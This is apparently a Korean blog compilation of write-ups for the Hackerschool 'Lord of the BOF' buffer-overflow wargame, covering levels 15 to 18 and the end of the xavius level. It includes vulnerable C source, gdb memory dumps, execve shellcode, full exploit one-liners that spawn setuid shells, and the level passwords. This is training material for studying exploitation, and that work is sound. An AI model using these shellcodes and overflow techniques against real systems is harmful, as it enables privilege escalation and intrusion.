0x40106900 <_IO_2_1_stdin_+64>: 0xffffffff      0x00000000      0x401068a0     0  xffffffff
0x40106910 <_IO_2_1_stdin_+80>: 0xffffffff      0x00000000      0x00000000     0  x00000000
0x40106920 <_IO_2_1_stdin_+96>: 0x00000000      0x00000000      0x00000000     0  x00000000
0x40106930 <_IO_2_1_stdin_+112>:        0x00000000      0x00000000      0x000000  00      0x00000000
0x40106940 <_IO_2_1_stdin_+128>:        0x00000000      0x00000000      0x000000  00      0x00000000
0x40106950 <_IO_2_1_stdin_+144>:        0x00000000      0x40106820      0x000000  00      0x00000000
0x40106960 <_IO_stdfile_1_lock+8>:      0x00000000      0x00000001      0x000000  00      0x00000000
0x40106970 <_IO_stdfile_1_lock+24>:     0x00000000      0x00000000      0x000000  00      0x00000000
0x40106980 <_IO_2_1_stdout_>:   0xfbad2084      0x00000000
(gdb) x/x 40015009
0x26294a1:      Cannot access memory at address 0x26294a1
(gdb) x/x 0x40015009
0x40015009:     0x00000000
(gdb) x/x 0x40015000
0x40015000:     0x44444444
(gdb) x/4x 0x40015000
0x40015000:     0x44444444      0x44444444      0x0000000a      0x00000000


0x40015000부터 우리가 입력한 값이 들어가 있고
0x40015009에 문자열의 끝을 의미하는 NULL값이 들어가 있는 것을 알 수 있습니다.


프로그램 종료 후에도 이 값이 남아있는지 확인해보겠습니다.

(gdb) b *main+278
Breakpoint 3 at 0x804882a
(gdb) c
Continuing.
DDDDDDDD


Breakpoint 3, 0x804882a in main ()
(gdb) x/4x 0x40015000
0x40015000:     0x44444444      0x44444444      0x0000000a      0x00000000


남아있습니다. 그러면 이 영역에 쉘코드를 넣으면 될 것 같네요.

페이로드를 구성해 보면,

NOP[19]+SHELLCODE[25]+RET(0x40015000)[4]

(python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x00\x50\x01\x40"'; cat) | ./xavius


[nightmare@localhost nightmare]$ (python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x00\x50\x01\x40"'; cat) | ./xavius
릱릱릱릱릱릱릱릱릱?픐h//shh/bin됥PS됣됀?
                                         ?
my-pass
euid = 519
throw me away


성공입니다!! 마지막 레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ


반응형
반응형


해커스쿨 LOB LEVEL18 [succubus -> nightmare] 풀이


M4ndU




해커스쿨 LOB [succubus -> nightmare] 풀이입니다.


ID | succubus

PW | here to stay

으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: succubus

Password:

[succubus@localhost succubus]$ bash2

[succubus@localhost succubus]$ ls -l

total 20

-rwsr-sr-x    1 nightmar nightmar    12983 Mar 30  2010 nightmare

-rw-r--r--    1 root     root          625 Mar 30  2010 nightmare.c

[succubus@localhost succubus]$ cat nightmare.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - nightmare

        - PLT

*/


#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <dumpcode.h>


main(int argc, char *argv[])

{

        char buffer[40];

        char *addr;


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // check address

        addr = (char *)&strcpy;

        if(memcmp(argv[1]+44, &addr, 4) != 0){

                printf("You must fall in love with strcpy()\n");

                exit(0);

        }


        // overflow!

        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);


        // dangerous waterfall

        memset(buffer+40+8, 'A', 4);

}


소스를 보면


        // check address

        addr = (char *)&strcpy;

        if(memcmp(argv[1]+44, &addr, 4) != 0){

                printf("You must fall in love with strcpy()\n");

                exit(0);

        }


리턴 주소가 strcpy()함수의 주소여야 하고,


        // dangerous waterfall

        memset(buffer+40+8, 'A', 4);


리턴 주소다음 4바이트 부분 = strcpy()함수의 리턴 주소를 A로 채우네요.

A로 채워진 부분을 strcpy함수를 통해 쉘코드 주소로 다시 덮어주어야 합니다.

페이로드를 구성해보면

&(&shellcode)[4]+dummy[40]+&strcpy()[4]+dummy[4]+4바이트 앞 주소(strcpy()의 리턴주소)[4]+&buffer[4]


일단 strcpy()의 주소를 구해줍니다.

[succubus@localhost succubus]$ gdb -q nightmare
(gdb) set disassembly-flavor intel
(gdb) disas main
(생략)
0x8048722 <main+110>:   call   0x8048410 <strcpy>
(생략)

그리고 쉘코드를 환경변수에 넣어줍니다.
그 전에 쉘코드의 주소를 다른 환경변수에 넣어주기 위해 공간을 확보합니다.

$export EGG1=`python -c 'print "\xff\xff\xff\xff"'`
$export EGG2=`python -c 'print "\x90"*100+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
$echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG1")); } ' > get1.c
$gcc get1.c -o 1
$echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG2")); } ' > get2.c
$gcc get2.c -o 2

이제 strcpy()의 리턴주소가 들어가는 주소를 구합니다.


[succubus@localhost succubus]$ mkdir tmp
[succubus@localhost succubus]$ cp nightmare tmp/
[succubus@localhost succubus]$ cd tmp/
[succubus@localhost tmp]$ ./nightmare `python -c 'print "D"*44+"\x10\x84\x04\x08"+"C"*12'`
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDCCCCCCCCCCCC
Segmentation fault (core dumped)
[succubus@localhost tmp]$ gdb -c core -q
Core was generated by `./nightmare DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDCCCCCCCCCCCC'.
Program terminated with signal 11, Segmentation fault.
#0  0x400767c1 in ?? ()
(gdb) x/40x $esp-40
0xbffff9e0:     0x44444444      0x44444444      0x44444444      0x44444444
0xbffff9f0:     0x44444444      0x44444444      0x44444444      0x44444444
0xbffffa00:     0x44444444      0x44444444      0x4000ae60      0x44444444
0xbffffa10:     0x41414141      0x43434343      0x43434343      0x40013800
0xbffffa20:     0x00000002      0x08048420      0x00000000      0x08048441
0xbffffa30:     0x080486b4      0x00000002      0xbffffa54      0x08048350
0xbffffa40:     0x0804877c      0x4000ae60      0xbffffa4c      0x40013e90
0xbffffa50:     0x00000002      0xbffffb61      0xbffffb6d      0x00000000
0xbffffa60:     0xbffffbaa      0xbffffbc1      0xbffffbcb      0xbffffc5e
0xbffffa70:     0xbffffc76      0xbffffc95      0xbffffcb7      0xbffffcc5


buffer은 0xbffff9e0이고
ret는 0xbffffa10이네요.

이제 페이로드를 완성하기 위해 환경변수에 들어간 쉘코드의 주소를 구해줍니다.

[succubus@localhost env]$ ./2
ADDR -> 0xbffffbe4

그리고 EGG1을 다시 설정해줍니다.

$export EGG1=`python -c 'print "\xe4\xfb\xff\xbf"'`


[succubus@localhost env]$ export EGG1=`python -c 'print "\x48\xfc\xff\xbf"'`

[succubus@localhost env]$ ./1

ADDR -> 0xbffffbda




&strcpy() | 0x08048410

&ret | 0xbffffa10

&(&SHELLCODE) | 0xbffffbda

&buffer | 0xbffff9e0


모두 구했습니다.

그럼 익스플로잇!



./nightmare `python -c 'print "\xda\xfb\xff\xbf"+"D"*40+"\x10\x84\x04\x08"+"A"*4+"\x10\xfa\xff\xbf"+"\xe0\xf9\xff\xbf"'`




[succubus@localhost tmp]$ ./nightmare `python -c 'print "\xda\xfb\xff\xbf"+"D"*40+"\x10\x84\x04\x08"+"A"*4+"\x10\xfa\xff\xbf"+"\xe0\xf9\xff\xbf"'`
拔풡DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDAAAA?욈??
bash$ exit
exit
[succubus@localhost succubus]$ cd ..
[succubus@localhost succubus]$ ./nightmare `python -c 'print "\xda\xfb\xff\xbf"+"D"*40+"\x10\x84\x04\x08"+"A"*4+"\x10\xfa\xff\xbf"+"\xe0\xf9\xff\xbf"'`
拔풡DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDAAAA?욈??
bash$ my-pass
euid = 518
beg for me

성공! 다음 레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ



반응형
반응형


해커스쿨 LOB LEVEL17 [zombie_assassin -> succubus] 풀이


M4ndU




해커스쿨 LOB [zombie_assassin -> succubus] 풀이입니다.


ID | zombie_assassin

PW | no place to hide

으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: zombie_assassin

Password:

[zombie_assassin@localhost zombie_assassin]$ bash2

[zombie_assassin@localhost zombie_assassin]$ ls -l

total 20

-rwsr-sr-x    1 succubus succubus    13782 Mar 30  2010 succubus

-rw-r--r--    1 root     root         1519 Mar 30  2010 succubus.c

[zombie_assassin@localhost zombie_assassin]$ cat succubus.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - succubus

        - calling functions continuously

*/


#include <stdio.h>

#include <stdlib.h>

#include <dumpcode.h>


// the inspector

int check = 0;


void MO(char *cmd)

{

        if(check != 4)

                exit(0);


        printf("welcome to the MO!\n");


        // olleh!

        system(cmd);

}


void YUT(void)

{

        if(check != 3)

                exit(0);


        printf("welcome to the YUT!\n");

        check = 4;

}


void GUL(void)

{

        if(check != 2)

                exit(0);


        printf("welcome to the GUL!\n");

        check = 3;

}


void GYE(void)

{

        if(check != 1)

                exit(0);


        printf("welcome to the GYE!\n");

        check = 2;

}


void DO(void)

{

        printf("welcome to the DO!\n");

        check = 1;

}


main(int argc, char *argv[])

{

        char buffer[40];

        char *addr;


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // you cannot use library

        if(strchr(argv[1], '\x40')){

                printf("You cannot use library\n");

                exit(0);

        }


        // check address

        addr = (char *)&DO;

        if(memcmp(argv[1]+44, &addr, 4) != 0){

                printf("You must fall in love with DO\n");

                exit(0);

        }


        // overflow!

        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);


        // stack destroyer

        // 100 : extra space for copied argv[1]

        memset(buffer, 0, 44);

        memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));


        // LD_* eraser

        // 40 : extra space for memset function

        memset(buffer-3000, 0, 3000-40);

}



소스를 보면,

        // check address

        addr = (char *)&DO;

        if(memcmp(argv[1]+44, &addr, 4) != 0){

                printf("You must fall in love with DO\n");

                exit(0);

        }


리턴주소가 무조건 DO()함수 주소여야 하네요.

그리고 각 DO GYE GUL YUT MO함수에 도달하면서 check 조건문을 만족 시키고

최종적으로 MO함수에 도달해서 쉘을 띄우면 되는 것 같습니다.


순서대로 함수를 호출하고, system()의 인자로 "/bin/sh"를 넣어주면 된다.


페이로드를 구성해보면


dummy[44]+&DO()[4]+&GYE()[4]+&GUL()[4]+&YUT()[4]+&MO()[4]+dummy[4]+&"/bin/sh"[4]+"/bin/sh"


&MO()[4]뒤에 dummy 4바이트는 MO함수의 리턴 주소를 덮어준 것이다.


그럼 각 함수의 주소를 알아낸다.


[zombie_assassin@localhost zombie_assassin]$ readelf -s ./succubus |grep FUNC

    1:  80483dc   359 FUNC    GLOBAL  0  UND strchr@GLIBC_2.0 (2)

    2:  80483ec   116 FUNC    WEAK    0  UND __register_frame_info@GLIBC_2.0 (2)

    3:  80483fc    46 FUNC    GLOBAL  0  UND isprint@GLIBC_2.0 (2)

    4:  804840c   670 FUNC    GLOBAL  0  UND system@GLIBC_2.0 (2)

    5:  804841c   162 FUNC    WEAK    0  UND __deregister_frame_info@GLIBC_2.0 (2)

    6:  804842c    30 FUNC    GLOBAL  0  UND memcmp@GLIBC_2.0 (2)

    7:  804843c   261 FUNC    GLOBAL  0  UND __libc_start_main@GLIBC_2.0 (2)

    8:  804844c    41 FUNC    GLOBAL  0  UND printf@GLIBC_2.0 (2)

    9:  804845c   232 FUNC    GLOBAL  0  UND exit@GLIBC_2.0 (2)

   10:  804846c    70 FUNC    GLOBAL  0  UND memset@GLIBC_2.0 (2)

   13:  804847c    34 FUNC    GLOBAL  0  UND strcpy@GLIBC_2.0 (2)

   37:  80484c0     0 FUNC    LOCAL   0   12 __do_global_dtors_aux

   39:  8048508     0 FUNC    LOCAL   0   12 fini_dummy

   41:  8048510     0 FUNC    LOCAL   0   12 frame_dummy

   42:  8048530     0 FUNC    LOCAL   0   12 init_dummy

   47:  8048920     0 FUNC    LOCAL   0   12 __do_global_ctors_aux

   49:  8048944     0 FUNC    LOCAL   0   12 init_dummy

   57:  8048584   416 FUNC    GLOBAL  0   12 dumpcode

   58:  80483dc   359 FUNC    GLOBAL  0  UND strchr@@GLIBC_2.0

   61:  80483ec   116 FUNC    WEAK    0  UND __register_frame_info@@GLIBC_2.0

   62:  80483fc    46 FUNC    GLOBAL  0  UND isprint@@GLIBC_2.0

   64:  804875c    47 FUNC    GLOBAL  0   12 YUT

   65:  804840c   670 FUNC    GLOBAL  0  UND system@@GLIBC_2.0

   66:  80487bc    47 FUNC    GLOBAL  0   12 GYE

   67:  804839c     0 FUNC    GLOBAL  0   10 _init

   68:  804841c   162 FUNC    WEAK    0  UND __deregister_frame_info@@GLIBC_2.0

   69:  80487ec    28 FUNC    GLOBAL  0   12 DO

   72:  804878c    47 FUNC    GLOBAL  0   12 GUL

   73:  804842c    30 FUNC    GLOBAL  0  UND memcmp@@GLIBC_2.0

   75:  8048808   268 FUNC    GLOBAL  0   12 main

   76:  804843c   261 FUNC    GLOBAL  0  UND __libc_start_main@@GLIBC_2.0

   78:  804844c    41 FUNC    GLOBAL  0  UND printf@@GLIBC_2.0

   79:  8048540    66 FUNC    GLOBAL  0   12 printchar

   80:  804894c     0 FUNC    GLOBAL  0   13 _fini

   81:  804845c   232 FUNC    GLOBAL  0  UND exit@@GLIBC_2.0

   85:  804846c    70 FUNC    GLOBAL  0  UND memset@@GLIBC_2.0

   89:  804847c    34 FUNC    GLOBAL  0  UND strcpy@@GLIBC_2.0

   90:  8048724    55 FUNC    GLOBAL  0   12 MO



DO() | 0x080487ec

GYE() | 0x080487bc

GUL() | 0x0804878c

YUT() | 0x0804875c

MO() | 0x08048724


이제 "/bin/sh"의 주소를 구해줍니다.


./succubus `python -c 'print "D"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"D"*4+"SSSS"+"/bin/sh"'`



tmp폴더를 만들어서 복사본을 만들고 core 덤프를 일으켜서 gdb로 core 파일을 분석합니다.


[zombie_assassin@localhost zombie_assassin]$ mkdir tmp

[zombie_assassin@localhost zombie_assassin]$ cp succubus tmp/

[zombie_assassin@localhost zombie_assassin]$ cd tmp/

[zombie_assassin@localhost tmp]$ ./succubus `python -c 'print "D"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"D"*4+"SSSS"+"/bin/sh"'`

DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD耳?$DDDDSSSS/bin/sh

welcome to the DO!

welcome to the GYE!

welcome to the GUL!

welcome to the YUT!

welcome to the MO!

Segmentation fault (core dumped)

[zombie_assassin@localhost tmp]$ gdb -c core -q

Core was generated by `                                                                              '.

Program terminated with signal 11, Segmentation fault.

#0  0x44444444 in ?? ()

(gdb) x/10s $esp

0xbffffa94:      "SSSS/bin/sh"

0xbffffaa0:      "\b\210\004\b\002"

0xbffffaa6:      ""

0xbffffaa7:      ""

0xbffffaa8:      "퀭?234\203\004\bL\211\004\b`?

0xbffffab7:      "@술?220>\001@\002"

0xbffffac2:      ""

0xbffffac3:      ""

0xbffffac4:      "빛옮??

0xbffffacd:      ""

(gdb) x/s 0xbffffa98

0xbffffa98:      "/bin/sh"



이제 익스플로잇!

./succubus `python -c 'print "D"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"D"*4+"\x98\xfa\xff\xbf"+"/bin/sh"'`



[zombie_assassin@localhost tmp]$ cd ..

[zombie_assassin@localhost zombie_assassin]$ ./succubus `python -c 'print "D"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"D"*4+"\x98\xfa\xff\xbf"+"/bin/sh"'`

DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD耳?$DDDD섨?bin/sh

welcome to the DO!

welcome to the GYE!

welcome to the GUL!

welcome to the YUT!

welcome to the MO!

bash$

bash$ my-pass

euid = 517

here to stay



성공! 다음 레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ


반응형
반응형


해커스쿨 LOB LEVEL16 [assassin -> zombie_assassin] 풀이


M4ndU




해커스쿨 LOB [assassin -> zombie_assassin] 풀이입니다.


ID | assassin

PW | pushing me away

으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: assassin

Password:

[assassin@localhost assassin]$ bash2

[assassin@localhost assassin]$ ls -l

total 16

-rwsr-sr-x    1 zombie_a zombie_a    12144 Mar 30  2010 zombie_assassin

-rw-r--r--    1 root     root          557 Mar 30  2010 zombie_assassin.c

[assassin@localhost assassin]$ cat zombie_assassin.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - zombie_assassin

        - FEBP

*/


#include <stdio.h>

#include <stdlib.h>


main(int argc, char *argv[])

{

        char buffer[40];


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        if(argv[1][47] == '\xbf')

        {

                printf("stack retbayed you!\n");

                exit(0);

        }


        if(argv[1][47] == '\x40')

        {

                printf("library retbayed you, too!!\n");

                exit(0);

        }


        // strncpy instead of strcpy!

        strncpy(buffer, argv[1], 48);

        printf("%s\n", buffer);

}



이번에는 argv[1]의 길이를 48바이트로 제한한다

그러면 ret주소까지만 덮을 수 있다.


주어진 힌트는 FEBP다. fack ebp를 의미한다.


leave-ret을 이용해서

ebp를 buffer의 시작주소로 조작해주고 ret주소를 leave의 주소로 조작해준다면,


leave (mov esp, ebp; pop ebp;)

ret (pop eip; jmp eip;)

leave (mov esp, ebp; pop ebp;)

ret (pop eip; jmp eip;)


에 의해 두번째 leave부터 우리가 조작한 ebp가 esp에 들어가게 되고,

pop ebp로 buffer의 4바이트 나가고 그다음 4바이트가 pop eip로 eip에 들어간다.


페이로드를 구성하면


dummy[4]+&shellcode[4]+dummy[32]+&buffer[4]+&leave[4]



그럼 쉘코드의 주소와 buffer의 주소와 leave의 주소를 구해주자.


쉘코드는 환경변수를 이용했습니다.


[assassin@localhost assassin]$ export EGG=`python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

[assassin@localhost assassin]$ echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c

[assassin@localhost assassin]$ gcc getenv.c -o getenv

[assassin@localhost assassin]$ ./getenv

ADDR -> 0xbffffe83




buffer의 주소를 구해줍시다.


[assassin@localhost assassin]$ mkdir tmp

[assassin@localhost assassin]$ cp zombie_assassin tmp/

[assassin@localhost assassin]$ cd tmp/

[assassin@localhost tmp]$ ./zombie_assassin `python -c 'print "D"*48'`
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
Segmentation fault (core dumped)
[assassin@localhost tmp]$ gdb -c core -q
Core was generated by `./zombie_assassin DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD'.
Program terminated with signal 11, Segmentation fault.
#0  0x44444444 in ?? ()
(gdb) x/20x $esp-80
0xbffffa30:     0x40106980      0x0804857e      0xbffffa50      0x401081ec
0xbffffa40:     0xbffffa78      0x080484dc      0x0804857e      0xbffffa50
0xbffffa50:     0x44444444      0x44444444      0x44444444      0x44444444
0xbffffa60:     0x44444444      0x44444444      0x44444444      0x44444444
0xbffffa70:     0x44444444      0x44444444      0x44444444      0x44444444


0xbffffa50부터 0x44로 채워져 있네요.



그 다음 leave의 주소를 구합니다.


[assassin@localhost assassin]$ gdb zombie_assassin -q

(gdb) disas main

Dump of assembler code for function main:

0x8048440 <main>:       push   %ebp

0x8048441 <main+1>:     mov    %esp,%ebp

(생략)

0x80484df <main+159>:   leave

0x80484e0 <main+160>:   ret


&shellcode | 0xbffffe83
&buffer | 0xbffffa50
&leave | 0x080484df


./zombie_assassin `python -c 'print "A"*4+"\x83\xfe\xff\xbf"+"A"*32+"\x50\xfa\xff\xbf"+"\xdf\x84\x04\x08"'`



[assassin@localhost tmp]$ ./zombie_assassin `python -c 'print "A"*4+"\x83\xfe\xff\xbf"+"A"*32+"\x50\xfa\xff\xbf"+"\xdf\x84\x04\x08"'`

AAAA껥풞AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP?욀?

bash$ id

uid=515(assassin) gid=515(assassin) groups=515(assassin)

bash$ exit

exit

[assassin@localhost tmp]$ cd ..

[assassin@localhost assassin]$ ./zombie_assassin `python -c 'print "A"*4+"\x83\xfe\xff\xbf"+"A"*32+"\x50\xfa\xff\xbf"+"\xdf\x84\x04\x08"'`

AAAA껥풞AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP?욀?

Segmentation fault



복사본에선 쉘이 뜨는데 원본에선 뜨지 않네요..


[assassin@localhost assassin]$ mkdir h

[assassin@localhost assassin]$ cp zombie_assassin h/

[assassin@localhost assassin]$ cd h/

[assassin@localhost h]$ ./zombie_assassin `python -c 'print "A"*4+"\x83\xfe\xff\xbf"+"A"*32+"\x50\xfa\xff\xbf"+"\xdf\x84\x04\x08"'`

AAAA껥풞AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP?욀?

bash$ exit

exit

[assassin@localhost h]$ cd ..6

[assassin@localhost assassin]$ ./zombie_assassin `python -c 'print "A"*4+"\x83\xfe\xff\xbf"+"A"*32+"\x50\xfa\xff\xbf"+"\xdf\x84\x04\x08"'`

AAAA껥풞AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP?욀?

bash$ my-pass

euid = 516

no place to hide



음....

계속 하다보니 됐습니다...

혀튼 성공했으니 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏ




반응형
반응형


해커스쿨 LOB LEVEL15 [giant -> assassin] 풀이


M4ndU




해커스쿨 LOB [giant -> assassin] 풀이입니다.


ID | giant

PW | one step closer

으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: giant

Password:

[giant@localhost giant]$ bash2

[giant@localhost giant]$ ls -l

total 16

-rwsr-sr-x    1 assassin assassin    12222 Mar 30  2010 assassin

-rw-r--r--    1 root     root          587 Mar 30  2010 assassin.c

[giant@localhost giant]$ cat assassin.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - assassin

        - no stack, no RTL

*/


#include <stdio.h>

#include <stdlib.h>


main(int argc, char *argv[])

{

        char buffer[40];


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        if(argv[1][47] == '\xbf')

        {

                printf("stack retbayed you!\n");

                exit(0);

        }


        if(argv[1][47] == '\x40')

        {

                printf("library retbayed you, too!!\n");

                exit(0);

        }


        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);


        // buffer+sfp hunter

        memset(buffer, 0, 44);

}



no stack, no RTL 이고 sfp도 0으로 초기화 합니다.


ret가 하는 일이 pop eip, jmp eip인데


리턴 주소를 다시 ret명령어의 주소로 덮어준다면 main함수의 프롤로그가

leave

ret

ret

와 같아겠죠 그러면 pop eip가 한번 더 되면서, 기존 리턴주소가 있던 자리에서 다음 4바이트에 있는 주소로 eip가 조작될 수 있습니다.


그럼 페이로드를 구성해보면


dummy[44]+&ret+&shellcode



먼저 ret가 있는 주소를 구합니다.


[giant@localhost giant]$ gdb -q assassin

(gdb) disas main

Dump of assembler code for function main:

0x8048470 <main>:       push   %ebp

0x8048471 <main+1>:     mov    %esp,%ebp

(생략)

0x804851d <main+173>:   leave

0x804851e <main+174>:   ret

0x804851f <main+175>:   nop

End of assembler dump.



0x0804851e이네요.


이제 쉘코드의 주소를 구합니다.

쉘코드는 환경변수를 이용하겠습니다.


[giant@localhost giant]$ mkdir tmp

[giant@localhost giant]$ cd tmp/

[giant@localhost tmp]$ export EGG=`python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

[giant@localhost tmp]$ echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c

[giant@localhost tmp]$ gcc getenv.c -o getenv

[giant@localhost tmp]$ ./getenv

ADDR -> 0xbffffe99



ret | 0x0804851e
shellcode | 0xbffffe99

./assassin `python -c 'print "D"*44+"\x1e\x85\x04\x08"+"\x99\xfe\xff\xbf"'`


[giant@localhost giant]$ ./assassin `python -c 'print "D"*44+"\x1e\x85\x04\x08"+"\x99\xfe\xff\xbf"'`
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD숣?
bash$ my-pass
euid = 515
pushing me away



성공! 다음레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏ


반응형

+ Recent posts